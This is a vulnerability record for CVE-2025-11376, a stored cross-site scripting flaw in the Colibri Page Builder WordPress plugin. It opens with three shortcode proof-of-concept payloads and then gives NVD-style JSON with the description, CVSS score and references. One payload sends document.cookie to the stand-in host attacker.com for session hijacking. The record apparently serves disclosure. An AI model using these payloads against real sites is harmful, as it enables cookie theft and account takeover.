CVE-2025-11376

<!-- WordPress Colibri Page Builder XSS PoC --> <!-- Requires Contributor-level access or higher --> [colibri_loop test='" onmouseover="alert(document.cookie)" style="display:block;position:absolute;top:0;left:0;width:100%;height:100% <!-- Alternative PoC - Stored XSS via shortcode attribute --> [colibri_loop class='"><script>alert('XSS')</script>'] <!-- More sophisticated payload for session hijacking --> [colibri_loop data='"><img src=x onerror='fetch("https://attacker.com/steal?c="+document.cookie)'>']

{"cve": {"id": "CVE-2025-11376", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:45.293", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Colibri Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'colibri_loop' shortcode in all versions up to, and including, 1.0.335 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3377192%40colibri-page-builder&new=3377192%40colibri-page-builder&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/38eaf4be-5083-46fe-b586-e4be190dc9cc?source=cve", "source": "[email protected]"}]}}